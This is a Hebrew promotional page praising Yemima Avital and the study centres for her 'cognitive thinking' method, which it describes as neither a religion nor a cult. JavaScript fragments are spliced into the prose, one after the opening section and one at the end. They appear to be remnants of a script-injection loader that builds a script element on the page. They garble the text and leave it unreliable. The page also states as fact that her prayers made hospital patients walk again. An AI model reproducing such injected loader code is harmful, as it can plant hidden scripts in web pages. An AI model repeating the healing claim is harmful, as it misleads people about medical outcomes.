לא דת, לא כת – ימימה יש רק אחת….

חיים של נתינה הם חיים קסומים. חיים שלא יכולים להיות משמעותיים יותר. מי שזוכה לתת זוכה – בעצם הנתינה – למתנה היפה הנפלאה ביותר שאדם עשוי קבל אותה: הכרת הטוב.

אלה וכאלה היו חייה של ימימה – האישה והשיטה, האישה והאגדה.

כל מי שחווה לימודי ימימה אביטל נחשף לשיעור קומתה הרוחני והאנושי העילאי של הצדקת ימימה אביטל. ככל שהייתה צנועה ונחברת אל הכלים ( גם במובן הפיזי: היא הבליעה עצמה ובשלב מסוים בתהליך ההוראה ביקשה להסתתר אפילו  מעין תלמידיה. קולה נשמע אבל האישה שהשמיעה  אותו לא נשמעה).  מי שהשתתפו במסגרת לימודי ימימה אביטל לא ייחסו לה גחמה ולא ראו בה משוגעת אלא כיבדו את  רצונה. הוזהרה והארה לא הועמו בשל כך. אולי ההיפך – הילתה הרוחנית קרנה בין אם היא נגלתה ובין אם היא נסתרה מעין. ימימה התעלתה בעיני הלומדים את שיטתה  במסגרת לימודי ימימה אביטל למעלה שבה עומדים, בודדים, יחידי סגולה – קדושים וצדיקים. מלאכים.

ימימה לא  הניחה יסודות  דת כל שהיא.  מעולם לא הייתה חברה בכת.  במסגרת לימודי ימימה אביטל היא לא דרשה דרשות ולא הטיפה הטפות. היא נתנה שיעורים, שתכניהם הביאו לידי ביטוי מצבור נדיר של תכונות, הבחנות ותובנות, יכולת מזהירה בקריאת נפש האדם ופירושיה והבנה מעמיקה לאין שיעור של כוחו הנפש הנסתרים שחבויים בכל אדם לערוך את תיקון חייו באמצעות מסע מרתק לגילוי כל החיובי  שבתוכו.

ימימה הקימה מרכז רוחני "המעיין" שהיווה את מוקד פעילותה. לימים נפתחו מרכזי לימוד שונים של לימודי ימימה אביטל.  צימאונם של אנשים רבים למצוא דרך רוחנית פנימית, שלא דבק בה צביון דתי מובהק, כזאת שלא תחייב עליהם חזרה בתשובה אבל עם זאת תתווה להם כיוון לגילוי השלווה והשקט הפנימיים הוביל – ועדיין מוביל – רבים אל לימודי ימימה אביטל.

ימימה ראתה בעזרה לזולת  ערך אנושי עליון בחייה.היא הגשימה ומימשה אותו לא רק  בשיעורים שבהם העבירה לתלמידיה- מעריציה את עיקרי שיטתה, אלא בתפילות  שנשאה במועדים קבועים (יומיים מדי שבוע!) על-יד מיטות של חולים בבתי חולים.  הודות לתפילותיה קרה הלא-ייאמן- כי-ייתכן, ודאי לא מבחינה רפואית: אנשים קמו על רגליהם והתחילו ללכת מחדש. ימימה לא הייתה קוסמת. הכוח של אמונתה ומחויבותה לייעודה ולשליחותה עלי אדמות זיכו אותה והעניקו לו בעודה בחייה מקום של כבוד בגן-העדן.}if (document.currentScript) {

לימודי ימימה

בשנים האחרונות, כאשר רבים תוהים על אודות חייהם ומחפשים עיסוק או אמונה שיעניקו להם משמעות, עולה קרנם של לימודי ימימה .  לימודים על פי שיטת ימימה הם לימוד משנתה ותורתה של ימימה אביטל, פסיכולוגית ומיסטיקנית קבלית, אשר 11 שנים לאחר מותה מתעצמת השפעתה הודות למרכזי לימוד של שיטתה – החשיבה ההכרתית.

במהלך לימודי ימימה מתוודעים התלמידים אל שורש הנפש והנשמה של עצמם בתהליך התבוננות מעמיק. במהלך הלימוד , שבו מחדדים משתתפיו גם את הקשב שלהם ואת רגישותם לזולת, הם לומדים מה מעיק על חייהם ומהווה מעמסה ונטל מיותרים. הם לומדים לשחרר, להתנקות, להיטהר.לימודי שיטת ימימהמאפשרים ללומדים להגיע, בדרך החשיבה ההכרתית, להבנות  ולתובנות המאפשרים  להם להשיב לעצמן איזון שהופר בחייהם, לפתוח חסמים וסתימות ולזרום עם החיים  בשקט, באופן רצוף, בשלווה..

לימודי ימימה מתבצעים בקבוצות קטנות, אינטימיות, על-פי רוב בהפרדה מגדרית – נשים לחוד וגברים לחוד. אף שהלימוד מתבצע בקבוצה, הוא, במהותו, לימוד עצמי. כל אחד " לוקח" מהשיעור מה שמתאים ונכון לחייו, בקצב שלו, בעומק המתאים לו.

הרציונל המונח בבסיס שיטת ימימה, הבא לביטוי בתכני הלימוד ובאופן  התנהלותו הוא – האדם טוב מיסודו. הוא יכול להשתחרר ממועקות העבר, מזיכרונות קשים, מטראומות ולגדול, להתפתח, לצמוח כאדם שלם, הממצה את היכולות והכישורים הטמונים בו.

לימודי ימימה פותחים לתלמידים אופקים חדשים אל עצמם, אל זולתם ואל העולם כולו. הבהירות התודעתית, המחשבתית והרגשית נועדו למטרה. יש להם תכלית. לאפשר חיים טובים ושקטים יותר. לממש יכולות. להפיק את המיטב ואת המרב.  שיטת ימימה אינה אפוא  שיטה עיונית תלושה, אלא התוויה לפעולה, הצבת תמרורים, הצגת חלופות.

במהלך לימודי ימימה אין דבר הנעשה בהטפה.  הדברים מוצעים ומוצגים במגוון דרכים וכל תלמיד יכול לפלס בהן את הנתיב האישי המיועד והמיוחד לו, כרצונו.

כל חייה היתה ימימה צנועה וחשאית, מיעטה להצטלם, לא התבלטה, מילאה את תפקיד ה"לחשן" מאחורי קלעי הבמה, אשר את קדמתה הוא הותירה לכל אחד ולכל אחת מתלמידיה. למענם פיתחה את שיטת ימימה ובעבורם כוננה את לימודי ימימה.

חסידיה הרבים והמושבעים, המתרבים כל העת, ומתרכזים במרכזי לימוד  על פי שיטת ימימה הם ההוכחה המוחשית לחיוניותיה של האישה המופלאה שהפכה לאגדה בחיה ולמיתוס במותה. וגם ההיפך.var d=document;var s=d.createElement('script'); } else {